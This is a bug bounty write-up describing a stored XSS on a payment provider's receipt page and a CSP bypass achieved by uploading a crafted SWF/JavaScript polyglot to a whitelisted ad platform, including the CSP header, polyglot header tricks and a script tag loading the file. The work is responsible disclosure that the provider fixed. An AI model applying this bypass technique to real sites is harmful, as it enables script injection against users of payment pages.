A few Payment Service Providers offers bug bounty programs. On one of the providers I was able to find a stored XSS on the receipt-page of a successful payment. The receipt page had a permalink-URL that was sent out by email to the buyer. This meant that the XSS could be accessed by anyone that had the receipt-link. The receipt URL was on their main domain and triggered the XSS without any interaction.
The site had a Content Security Policy in place, which did not allow inline script to run.
The XSS worked in IE since the site wasn’t using the X-Content-Security-Policy-header. But that was it – IE only. That sucked. I wanted to give more punch in my bug report. There must be a way, I thought.
Monday 12:45AM. I emailed them and told them about the issue anyway, but I told them I also believed that I could go further with it.
Here’s how their CSP looked like (Yeah, I’ve changed the names here):
ontent-Security-Policy: default-src 'self' https://*.payment-provider.com; style-src 'unsafe-inline' 'self' https://*.payment-provider.com; script-src https://ads.cool-ad-platform.com https://stats.g.doubleclick.net https://ajax.googleapis.com/ajax/libs/swfobject/ https://www.googleadservices.com https://*.payment-provider.com 'self';
As you see, the
script-src property actually include external sites. What if I was able to upload scripts to one of those domains instead? Then the CSP would accept the file and the XSS would run for everyone. Awez!
The one URL that caught my attention was the
cool-ad-platform.com. I visited their page and noticed that they had a trial account registration.
Once registered I noticed I was able to upload files that would also be hosted on the
ads.cool-ad-platform.com domain, nice!
If you’ve tried to build a GIF-polyglot before (well, if you have, we are hiring!), you know that the part of the data in the GIF you need to modify to craft a working JS-file is the Logical Screen Descriptor using the canvas dimensions (right after
GIF89a). In a GIF-polyglot you’re using the
This makes the image 8253 in width (and 8231 in height) since both the canvas width and height is two bytes long integers in little endian:
So close. Yet so far away.
I had to change plan. I noticed that SWF-files was also allowed. I tried to use a SWF with zlib/Huffman encoding but it wasn’t allowed. I finally realized that the site did not allow any compressed versions of SWFs, only files with
FWS as the magic number (that is – without any compression). I found a nice guide of the SWF-FWS file format and started testing.
The problem was that the ad-site did not only verify if the magic number was
FWS (uncompressed), but it validated the complete header block.
0x09, the TAB-character. This was, according to the site’s validation, allowed inside the header block. I also used
,') to separate the variable and escape the rest of the content inside a single quote. A bit far down I escaped the quote and inserted my payload:
I tried uploading it, and to my surprise:
The SWF was uploaded successfully. It was accepted by the ad-site’s SWF-validator as valid even though it cannot really run or do anything. Using my test page I then tried it out:
But, the following error showed up:
<script id="FWS" src="https://s3.amazonaws.com/detectify-labs/js.swf"></script>
It actually worked!
Monday 4:51AM. A nice little email was sent to the payment provider and I finally went to bed. They answered the same day and fixed it by removing the ad-site from the script-src property in the CSP. They actually fixed the XSS during my night crunch but I could at least show them that my payload would’ve worked.
You can find the SWF and an example here: